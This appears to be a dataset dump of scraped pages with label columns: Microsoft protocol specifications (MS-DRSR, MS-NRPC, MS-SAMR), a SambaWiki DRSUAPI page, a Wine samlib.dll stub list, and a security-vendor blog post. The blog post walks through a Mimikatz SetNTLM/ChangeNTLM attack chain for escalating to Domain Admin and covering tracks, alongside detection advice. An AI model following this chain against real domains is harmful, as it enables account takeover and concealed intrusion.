2/13/2014 33.0 None PDF | DOCX 11/14/2013 33.0 Major PDF | DOCX 8/8/2013 32.0 Major PDF | DOCX 1/31/2013 31.0 Major 10/25/2012 30.0 Major 7/12/2012 29.0 Major 3/30/2012 28.0 Major 12/16/2011 27.0 Major 9/23/2011 26.0 Major 6/17/2011 25.1 Minor 5/6/2011 25.0 None 3/25/2011 25.0 Major 2/11/2011 24.0 None 1/7/2011 24.0 Major 11/19/2010 23.0 Major 10/8/2010 22.0 Major 8/27/2010 21.0 Major 7/16/2010 20.0 Major 6/4/2010 19.0 Major 4/23/2010 18.0 Major 3/12/2010 17.0 Major 1/29/2010 16.0 Major 12/18/2009 15.0 Major 11/6/2009 14.0 Major 9/25/2009 13.0 Major 8/14/2009 12.0 Major 7/2/2009 11.0 Major 5/22/2009 10.0 Major 4/10/2009 9.0 Major 2/27/2009 8.0 Major 1/16/2009 7.0 Major 12/5/2008 6.0 Major 10/24/2008 5.0 Major 8/29/2008 4.0 Major 7/25/2008 3.0 Major 6/20/2008 2.2 Minor 3/14/2008 2.1 Minor 1/25/2008 2.0.1 Editorial 10/23/2007 2.0 Major 9/28/2007 1.4 Minor 8/10/2007 1.3.1 Editorial 7/3/2007 1.3 Minor 6/1/2007 1.2.1 Editorial 5/11/2007 1.2 Minor 4/3/2007 1.1 Minor 3/2/2007 1.0 New Preview Versions From time to time, Microsoft may publish a preview, or pre-release, version of an Open Specifications technical document for community review and feedback. To submit feedback for a preview version of a technical document, please follow any instructions specified for that document. If no instructions are indicated for the document, please provide feedback by using the Open Specification Forums. The preview period for a technical document varies. Additionally, not every technical document will be published for preview. A preview version of this document may be available on the Windows Protocols - Preview Documents page. After the preview period, the most current version of the document is available on this page. Development Resources Find resources for creating interoperable solutions for Microsoft software, services, hardware, and non-Microsoft products: Plugfests and Events, Test Tools, Development Support, and Open Specifications Dev Center. Intellectual Property Rights Notice for Open Specifications Documentation Technical Documentation. Microsoft publishes Open Specifications documentation (\xe2\x80\x9cthis documentation\xe2\x80\x9d) for protocols, file formats, data portability, computer languages, and standards support. Additionally, overview documents cover inter-protocol relationships and interactions. Copyrights. This documentation is covered by Microsoft copyrights. Regardless of any other terms that are contained in the terms of use for the Microsoft website that hosts this documentation, you can make copies of it in order to develop implementations of the technologies that are described in this documentation and can distribute portions of it in your implementations that use these technologies or in your documentation as necessary to properly document the implementation. You can also distribute in your implementation, with or without modification, any schemas, IDLs, or code samples that are included in the documentation. This permission also applies to any documents that are referenced in the Open Specifications documentation. No Trade Secrets. Microsoft does not claim any trade secret rights in this documentation. Patents. Microsoft has patents that might cover your implementations of the technologies described in the Open Specifications documentation. Neither this notice nor Microsoft's delivery of this documentation grants any licenses under those patents or any other Microsoft patents. However, a given Open Specifications document might be covered by the Microsoft Open Specifications Promise or the Microsoft Community Promise. If you would prefer a written license, or if the technologies described in this documentation are not covered by the Open Specifications Promise or Community Promise, as applicable, patent licenses are available by contacting iplg@microsoft.com. License Programs. To see all of the protocols in scope under a specific license program and the associated patents, visit the Patent Map. Trademarks. The names of companies and products contained in this documentation might be covered by trademarks or similar intellectual property rights. This notice does not grant any licenses under those rights. For a list of Microsoft trademarks, visit www.microsoft.com/trademarks. Fictitious Names. The example companies, organizations, products, domain names, email addresses, logos, people, places, and events that are depicted in this documentation are fictitious. No association with any real company, organization, product, domain name, email address, logo, person, place, or event is intended or should be inferred. Reservation of Rights. All other rights are reserved, and this notice does not grant any rights other than as specifically described above, whether by implication, estoppel, or otherwise. Tools. The Open Specifications documentation does not require the use of Microsoft programming tools or programming environments in order for you to develop an implementation. If you have access to Microsoft programming tools and environments, you are free to take advantage of them. Certain Open Specifications documents are intended for use in conjunction with publicly available standards specifications and network programming art and, as such, assume that the reader either is familiar with the aforementioned material or has immediate access to it. Support. For questions and support, please contact dochelp@microsoft.com. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"[MS-DRSR]: IDL_DRSGetNCChanges (Opnum 3) | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents 4.1.10 IDL_DRSGetNCChanges (Opnum 3) 2/14/2019 2 minutes to read In this article The IDL_DRSGetNCChanges method replicates updates from an NC replica on the server. \xc2 ULONG IDL_DRSGetNCChanges( \xc2 [in, ref] DRS_HANDLE hDrs, \xc2 [in] DWORD dwInVersion, \xc2 [in, ref, switch_is(dwInVersion)] \xc2 DRS_MSG_GETCHGREQ* pmsgIn, \xc2 [out, ref] DWORD* pdwOutVersion, \xc2 [out, ref, switch_is(*pdwOutVersion)] \xc2 DRS_MSG_GETCHGREPLY* pmsgOut \xc2 ); hDrs: The RPC context handle returned by the IDL_DRSBind method. dwInVersion: Version of the request message. pmsgIn: A pointer to the request message. pdwOutVersion: A pointer to the version of the response message. pmsgOut: A pointer to the response message. Return Values: 0 if successful, otherwise a Windows error code. Exceptions Thrown: This method might throw the following exceptions beyond those thrown by the underlying RPC protocol (as specified in [MS-RPCE]): ERROR_INVALID_HANDLE, ERROR_DS_DRS_EXTENSIONS_CHANGED, ERROR_DS_DIFFERENT_REPL_EPOCHS, and\xc2 ERROR_INVALID_PARAMETER. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"DRSUAPI - SambaWiki Anonymous Not logged in Create account Log in SambaWiki Search Navigation Navigation Main Page User Documentation Developer Documentation Categories Current Events Recent Changes Random Page Report Samba Bug Report Doc Bug Wiki tools Wiki tools Special pages Page tools Page tools Userpage tools More What links here Related changes Printable version Permanent link Page information Page logs DRSUAPI Namespaces Page Discussion Page actions View View source History More Contents 1 Introduction 2 DSBind and DSUnbind Functions 3 DSGetNCChanges Function 4 DSReplicaSync Function 5 RepsFrom and RepsTo structures 6 See Also 7 External Links Introduction The IT infrastructure of organizations often needs the existence of more than one Domain Controller (DC) for it's Active Directory (AD). For keeping an environment with more than one DC consistent, it is necessary to have the AD objects replicated through those DCs. Most of the replication related tasks are specified on the Directory Replication Service (DRS) Remote Protocol. The Microsoft API which implements such protocol is called DRSUAPI. Below we describe some important functions and data structures. DSBind and DSUnbind Functions Those functions are necessary to manipulate the context handle, which is necessary to call others functions of the DRSUAPI. DSBind method creates the context handle, while the DSUnbind destroys an existing context handle. DSGetNCChanges Function The client DC sends a DSGetNCChanges request to the server when the first one wants to get AD objects updates from the second one. The response contains a set of updates that the client has to apply to its NC replica. It is possible that the set of updates is too large for only one response message. In those cases, multiple DSGetNCChanges requests and responses are done. This process is called replication cycle or simply cycle. DSReplicaSync Function When a DC receives a DSReplicaSync Request, then for each DC that it replicates from (stored in RepsFrom data structure) it performs a replication cycle, where it behaves like a client and makes DSGetNCChanges requests to that DC. So it gets up-to-date AD objects from each of the DC's which it replicates from. This function implements a changes propagation mechanism. RepsFrom and RepsTo structures The RepsFrom and RepsTo structures hold metadata information about the NC replicas that are used during replication. RepsFrom is a multivalued structure that holds information about the NC replicas whose the DC has to get information from, when it is replicating (when attending a DSReplicaSync request). The RepsTo structure stores information about the NC replicas whose the DC replicates to. For each DC which has to be informed about changes (using DSReplicaSync request), there is an attribute value of RepsTo. See Also Samba4/ActiveDirectory Samba4/DRS TODO List External Links Stefan Metzmacher Bachelor Thesis about Active Directory Replication (English translated version) MS-DRSR: Directory Replication Service (DRS) Remote Protocol Specification at msdn.microsoft.com DRS Tutorial about DRSUAPI Implementation in Samba and other stuff (Video) DRS Tutorial about DRSUAPI - Quick guide for the lessons learned during the first tutorial Retrieved from ""https://wiki.samba.org/index.php?title=DRSUAPI&oldid=10372"" This page was last edited on 25 July 2015, at 09:13. This page has been accessed 13,991 times. Content is available under CC-BY unless otherwise noted. Privacy policy About SambaWiki Disclaimers","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Wine API: samlib.dll NAME samlib.dll STATISTICS Forwards: 0 Variables: 0 Stubs: 65 Functions: 0 Exports-Total: 65 Implemented-Total: 0 (0%) Documented-Total: 0 (0%) CONTRIBUTORS The following people hold copyrights on the source files comprising this dll: Louis Lenders Note: This list may not be complete. For a complete listing, see the git commit logs and the File ""AUTHORS"" in the Wine source tree. EXPORTS SamAddMemberToAlias (stub) SamAddMemberToGroup (stub) SamAddMultipleMembersToAlias (stub) SamChangePasswordUser2 (stub) SamChangePasswordUser3 (stub) SamChangePasswordUser (stub) SamCloseHandle (stub) SamConnect (stub) SamConnectWithCreds (stub) SamCreateAliasInDomain (stub) SamCreateGroupInDomain (stub) SamCreateUser2InDomain (stub) SamCreateUserInDomain (stub) SamDeleteAlias (stub) SamDeleteGroup (stub) SamDeleteUser (stub) SamEnumerateAliasesInDomain (stub) SamEnumerateDomainsInSamServer (stub) SamEnumerateGroupsInDomain (stub) SamEnumerateUsersInDomain (stub) SamFreeMemory (stub) SamGetAliasMembership (stub) SamGetCompatibilityMode (stub) SamGetDisplayEnumerationIndex (stub) SamGetGroupsForUser (stub) SamGetMembersInAlias (stub) SamGetMembersInGroup (stub) SamLookupDomainInSamServer (stub) SamLookupIdsInDomain (stub) SamLookupNamesInDomain (stub) SamOpenAlias (stub) SamOpenDomain (stub) SamOpenGroup (stub) SamOpenUser (stub) SamQueryDisplayInformation (stub) SamQueryInformationAlias (stub) SamQueryInformationDomain (stub) SamQueryInformationGroup (stub) SamQueryInformationUser (stub) SamQuerySecurityObject (stub) SamRemoveMemberFromAlias (stub) SamRemoveMemberFromForeignDomain (stub) SamRemoveMemberFromGroup (stub) SamRemoveMultipleMembersFromAlias (stub) SamRidToSid (stub) SamSetInformationAlias (stub) SamSetInformationDomain (stub) SamSetInformationGroup (stub) SamSetInformationUser (stub) SamSetMemberAttributesOfGroup (stub) SamSetSecurityObject (stub) SamShutdownSamServer (stub) SamTestPrivateFunctionsDomain (stub) SamTestPrivateFunctionsUser (stub) SamiChangeKeys (stub) SamiChangePasswordUser2 (stub) SamiChangePasswordUser3 (stub) SamiChangePasswordUser (stub) SamiEncryptPasswords (stub) SamiGetBootKeyInformation (stub) SamiLmChangePasswordUser (stub) SamiOemChangePasswordUser2 (stub) SamiSetBootKeyInformation (stub) SamiSetDSRMPassword (stub) SamiSetDSRMPasswordOWF (stub) Copyright \xc2\xa9 2019 The Wine Project. All trademarks are the property of their respective owners. Visit WineHQ for license details. Generated Sep 2019.","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Manipulating User Passwords with Mimikatz | Insider Threat Blog Toggle navigation Insider Threat Security Blog Home Learn About STEALTHbits Insider Threat Security Blog And Other Things That Keep You Up At Night Manipulating User Passwords with Mimikatz Manipulating User Passwords with Mimikatz July 11, 2017 Jeff Warren Comments 0 Comment Introduction: Manipulating User Passwords with Mimikatz Mimikatz now supports the ability to manipulate user passwords with new commands: SetNTLM and ChangeNTLM. These commands give attackers a new way to change user passwords and escalate privileges within Active Directory. Let\xe2\x80\x99s take a look at these NTLM commands and what they do. ChangeNTLM This performs a password change event. To use this command, you must know the old password in order to set a new one. One deviation is that this command will accept either a password or NTLM password hash. NTLM password hashes can be much easier to come across for users than their clear text passwords.\xc2 Here is an example of using the lsadump::changentlm command to change a user\xe2\x80\x99s password with only knowing their current password hash.\xc2 While this does require you to know a user\xe2\x80\x99s password hash, the permission controlling who can change a user\xe2\x80\x99s password is granted to Everyone by default, so it can be done by any user without special privileges. This will produce Event ID 4723 in the domain controller event log. SetNTLM This performs a password reset event. This does not require any knowledge of a user\xe2\x80\x99s current password, but it does require you to have the Reset Password right on an account by default, which is not open to Everyone. Here is an example of using the lsadump::setntlm command to reset a user\xe2\x80\x99s password.\xc2 This will produce Event ID 4724 in the domain controller event log. Attack Scenario \xe2\x80\x93 ChangeNTLM This scenario is straightforward. If an attacker can compromise any user\xe2\x80\x99s password hash, it will be valuable for performing pass-the-hash attacks. Typically, pass-the-hash limits you to command line access to systems and applications. Let\xe2\x80\x99s say an attacker wants to log into OWA, SharePoint, or a remote desktop session. They may need to type in the user\xe2\x80\x99s clear text password. In this case, the attacker can: Compromise any account\xe2\x80\x99s NTLM hash Change the password just using the hash to any password they want Perform their attack using clear text password Set the password back the way it was using the old hash This attack is very useful for further exploiting already compromised accounts. Next, let\xe2\x80\x99s look at SetNTLM and how that can be used to elevate privileges. Attack Scenario \xe2\x80\x93 SetNTLM Let\xe2\x80\x99s imagine the following attack scenario. An attacker has compromised an account with limited domain access. They have used Bloodhound to build an attack path around AD permissions, which includes resetting user passwords to take over their account. The attacker wishes to follow the attack path, but does not want to alert users to the fact that their account has been compromised by changing their password. How can the attacker reset the users\xe2\x80\x99 passwords, and then put them back to their old values once the target is compromised? Enter SetNTLM. With these commands, the attacker can follow this basic path: Build attack path with Bloodhound leveraging Active Directory permissions and password resets Reset passwords following attack paths Once privileged access is achieved, use Mimikatz to extract NTLM password history for all compromised accounts Apply previous NTLM hash to the accounts, setting them back the way they were Note: The same can be done using DSInternals and the Set-SamAccountPasswordHash command. Performing the Attack We have already covered how to use Bloodhound to build attack paths in this post. Let\xe2\x80\x99s imagine I have the following attack path using Active Directory permissions. This will take me from my current user to Domain Admin in three password resets.\xc2 Now that you know what accounts need to be compromised, you want to be sure you go about the attack as quickly as possible to not alarm any users. You can script out the password reset attack path using some basic PowerShell. The following script will take a password and follow the attack chain, impersonating each compromised user along the way until reaching the goal of Domain Admin.\xc2 Next, I will launch a new PowerShell session as the Domain Admin and perform a DCSync operation to get the NTLM password history for all of the accounts:\xc2 From there, I will set the passwords back to the way they were using the SetNTLM command:\xc2 And there you have it. I now have become a domain admin, and covered my tracks as best I can to avoid users realizing their accounts have been compromised along the way. Protections Against SetNTLM and ChangeNTLM Attacks One thing I found interesting is that if an attacker does use the ChangeNTLM attack, this will generate a 4723 event but the Subject and Target Account will be different. This will stand out from normal password changes that users perform on their own, where the two values will be identical. If administrators are going to reset passwords, they will perform a reset and generate a 4724 event.\xc2 \xc2 Beyond that, these attacks still are mitigated by controlling password reset rights in the directory to avoid the SetNTLM attack, and controlling how and where user hashes get stored to reduce the risk of the ChangeNTLM attack. How Attackers Are Stealing Your Credentials with Mimikatz: To sign up for the Mimikatz blog series, please click here.\xc2 To register for the Mimikatz webinar, please click here. Don\xe2\x80\x99t miss a post! Subscribe to The Insider Threat Security Blog here: Name Email* You have read and agreed to our Privacy Policy Jeff Warren Jeff Warren is STEALTHbits\xe2\x80\x99 General Manager, Products. Jeff has held multiple roles within the Product Management group since joining the organization in 2010, initially building STEALTHbits\xe2\x80\x99 SharePoint management offerings before shifting focus to the organization\xe2\x80\x99s Data Access Governance solution portfolio as a whole. Before joining STEALTHbits, Jeff was a Software Engineer at Wall Street Network, a solutions provider specializing in GIS software and custom SharePoint development. With deep knowledge and experience in technology, product and project management, Jeff and his teams are responsible for designing and delivering STEALTHbits\xe2\x80\x99 high quality, innovative solutions. Jeff holds a Bachelor of Science degree in Information Systems from the University of Delaware. Active Directory Attacks Post navigation NEXT Unlocking All the Doors to Active Directory with the Skeleton Key Attack PREVIOUS Extracting User Password Data with Mimikatz DCSync Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment Name * Email * Website CAPTCHA Code* This site uses Akismet to reduce spam. Learn how your comment data is processed. Search for: Search Subscribe Don't miss a post, subscribe to the blog! Name Email* You have read and agreed to our Privacy Policy Recent Posts Pragmatic Data Security Best Practices: Part 1 Protecting Against DCShadow Five Challenges with Monitoring Active Directory Security Using Event Logs: Part 5 Advanced Data Security Features for Azure SQL- Part 2: Vulnerability Assessment Five Challenges with Monitoring Active Directory Security Using Event Logs: Part 4 Popular Posts Extracting Password Hashes from the Ntds.dit File Complete Domain Compromise with Golden Tickets Extracting Service Account Passwords with Kerberoasting Running LAPS in the Race to Security Performing Pass-the-Hash Attacks with Mimikatz \xc2\xa9 2019 | STEALTHbits Technologies, Inc. XML Sitemap Start a Free StealthAUDIT\xc2\xae Trial! No risk. No obligation. Privacy Preference Center Options Consent Management Cookie Settings Consent Management privacy-policy ON OFF You have read and agreed to our Privacy Policy Necessary Advertising Analytics Other OK","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"[MS-NRPC]: Netlogon Remote Protocol | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents [MS-NRPC]: Netlogon Remote Protocol 2/14/2019 4 minutes to read In this article Specifies the Netlogon Remote Protocol, an RPC interface that is used for user and machine authentication on domain-based networks; to replicate the user account database for operating systems earlier than Windows 2000 backup domain controllers; to maintain domain relationships from the members of a domain to the domain controller, among domain controllers for a domain, and between domain controllers across domains; and to discover and manage these relationships. This page and associated content may be updated frequently. We recommend you subscribe to the RSS feed to receive update notifications. Published Version Date Protocol Revision Revision Class Downloads 9/12/2018 35.0 Major PDF | DOCX | Errata | Diff Click here to download a zip file of all PDF files for Windows Protocols. Previous Versions Date Protocol Revision Revision Class Downloads 12/1/2017 34.0 None PDF | DOCX | Diff 9/15/2017 34.0 Major PDF | DOCX | Diff 6/1/2017 33.1 Minor PDF | DOCX | Diff 7/14/2016 33.0 Major PDF | DOCX | Diff 10/16/2015 32.0 None PDF | DOCX | Errata 6/30/2015 32.0 Major PDF | DOCX 5/15/2014 31.0 Major PDF | DOCX 2/13/2014 30.1 Minor PDF | DOCX 11/14/2013 30.0 Major PDF | DOCX 8/8/2013 29.0 Major PDF | DOCX 1/31/2013 28.0 Major 10/25/2012 27.0 Major 7/12/2012 26.0 Major 3/30/2012 25.0 Major 12/16/2011 24.0 Major 9/23/2011 23.0 None 6/17/2011 23.0 Major 5/6/2011 22.0 Major 3/25/2011 21.3 Minor 2/11/2011 21.2 Minor 1/7/2011 21.1 Minor 11/19/2010 21.0 Major 10/8/2010 20.0 Major 8/27/2010 19.0 Major 7/16/2010 18.1 Minor 6/4/2010 18.0 Major 4/23/2010 17.0 Major 3/12/2010 16.0 Major 1/29/2010 15.0 Major 12/18/2009 14.0 Major 11/6/2009 13.0 Major 9/25/2009 12.0 Major 8/14/2009 11.0 Major 7/2/2009 10.0 Major 5/22/2009 9.1 Minor 4/10/2009 9.0 Major 2/27/2009 8.0 Major 1/16/2009 7.1 Minor 12/5/2008 7.0 Major 10/24/2008 6.1 Minor 8/29/2008 6.0 Major 7/25/2008 5.0 Major 6/20/2008 4.0 Major 5/16/2008 3.0 Major 3/14/2008 2.7 Minor 1/25/2008 2.6 Minor 11/30/2007 2.5 Minor 10/23/2007 2.4 Minor 9/28/2007 2.3 Minor 8/10/2007 2.2 Minor 7/20/2007 2.1 Minor 7/3/2007 2.0 Major 6/1/2007 1.2.1 Editorial 5/11/2007 1.2 Minor 4/3/2007 1.1 Minor 3/2/2007 1.0 Major 12/18/2006 0.01 New Preview Versions From time to time, Microsoft may publish a preview, or pre-release, version of an Open Specifications technical document for community review and feedback. To submit feedback for a preview version of a technical document, please follow any instructions specified for that document. If no instructions are indicated for the document, please provide feedback by using the Open Specification Forums. The preview period for a technical document varies. Additionally, not every technical document will be published for preview. A preview version of this document may be available on the Windows Protocols - Preview Documents page. After the preview period, the most current version of the document is available on this page. Development Resources Find resources for creating interoperable solutions for Microsoft software, services, hardware, and non-Microsoft products: Plugfests and Events, Test Tools, Development Support, and Open Specifications Dev Center. Intellectual Property Rights Notice for Open Specifications Documentation Technical Documentation. Microsoft publishes Open Specifications documentation (\xe2\x80\x9cthis documentation\xe2\x80\x9d) for protocols, file formats, data portability, computer languages, and standards support. Additionally, overview documents cover inter-protocol relationships and interactions. Copyrights. This documentation is covered by Microsoft copyrights. Regardless of any other terms that are contained in the terms of use for the Microsoft website that hosts this documentation, you can make copies of it in order to develop implementations of the technologies that are described in this documentation and can distribute portions of it in your implementations that use these technologies or in your documentation as necessary to properly document the implementation. You can also distribute in your implementation, with or without modification, any schemas, IDLs, or code samples that are included in the documentation. This permission also applies to any documents that are referenced in the Open Specifications documentation. No Trade Secrets. Microsoft does not claim any trade secret rights in this documentation. Patents. Microsoft has patents that might cover your implementations of the technologies described in the Open Specifications documentation. Neither this notice nor Microsoft's delivery of this documentation grants any licenses under those patents or any other Microsoft patents. However, a given Open Specifications document might be covered by the Microsoft Open Specifications Promise or the Microsoft Community Promise. If you would prefer a written license, or if the technologies described in this documentation are not covered by the Open Specifications Promise or Community Promise, as applicable, patent licenses are available by contacting iplg@microsoft.com. License Programs. To see all of the protocols in scope under a specific license program and the associated patents, visit the Patent Map. Trademarks. The names of companies and products contained in this documentation might be covered by trademarks or similar intellectual property rights. This notice does not grant any licenses under those rights. For a list of Microsoft trademarks, visit www.microsoft.com/trademarks. Fictitious Names. The example companies, organizations, products, domain names, email addresses, logos, people, places, and events that are depicted in this documentation are fictitious. No association with any real company, organization, product, domain name, email address, logo, person, place, or event is intended or should be inferred. Reservation of Rights. All other rights are reserved, and this notice does not grant any rights other than as specifically described above, whether by implication, estoppel, or otherwise. Tools. The Open Specifications documentation does not require the use of Microsoft programming tools or programming environments in order for you to develop an implementation. If you have access to Microsoft programming tools and environments, you are free to take advantage of them. Certain Open Specifications documents are intended for use in conjunction with publicly available standards specifications and network programming art and, as such, assume that the reader either is familiar with the aforementioned material or has immediate access to it. Support. For questions and support, please contact dochelp@microsoft.com. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"[MS-SAMR]: Transport | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents 2.1 Transport 2/14/2019 2 minutes to read In this article This protocol configures the RPC runtime to perform a strict Network Data Representation (NDR) data consistency check at target level 5.0, as specified in [MS-RPCE] section 3. This protocol uses UUID 12345778-1234-ABCD-EF00-0123456789AC to identify the RPC interface. This protocol enables the ms_union extension that is specified in [MS-RPCE] section 2.2.4. This protocol asks the RPC runtime, via the strict_context_handle attribute, to reject the use of context handles that are created by a method of a different RPC interface than this one, as specified in [MS-RPCE] section 3. This protocol uses the following RPC protocol sequences:<7> RPC over SMB, as specified in [MS-RPCE] section 2.1.1.2.<8> This protocol uses the pipe name ""\\PIPE\\samr"" for the endpoint name.<9> RPC over TCP.<10> This protocol uses RPC dynamic endpoints, as specified in [C706] section 6. This protocol MUST indicate to the RPC runtime that it is to support both the Network Data Representation (NDR) and 64-bit Network Data Representation (NDR64) transfer syntaxes and provide a negotiation mechanism for determining which RPC transfer syntax will be used, as specified in [MS-RPCE] section 3. This protocol MUST use the UUID as specified previously. The RPC version number is 1.0. The protocol uses the underlying RPC protocol to retrieve the identity of the client that made the method call, as specified in [MS-RPCE] section 3.3.3.4.3. The server SHOULD use this identity to perform method-specific access checks, as specified in the message processing section of each method.<11> The server SHOULD<12> reject calls that do not use an authentication level of either RPC_C_AUTHN_LEVEL_NONE or RPC_C_AUTHN_LEVEL_PKT_PRIVACY (see [MS-RPCE] section 2.2.1.1.8). RPC clients for this protocol MUST use RPC over TCP/IP for the SamrValidatePassword method and MUST use RPC over SMB for the SamrSetDSRMPassword method. RPC clients MUST use only RPC over SMB for the SamrSetInformationUser and SamrSetInformationUser2 methods when UserInformationClass is UserAllInformation, UserInternal1Information, UserInternal4Information, UserInternal4InformationNew, UserInternal5Information, or UserInternal5InformationNew. For the SamrValidatePassword method, the client SHOULD use transport security to encrypt the message because the message contents contain cleartext password data. That is, the client SHOULD use an SPNEGO security provider, as specified in [MS-RPCE] section 2.2.1.1.7, and SHOULD use the packet authentication level, as specified in [MS-RPCE] section 3.3.1.5.2.<13> Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback 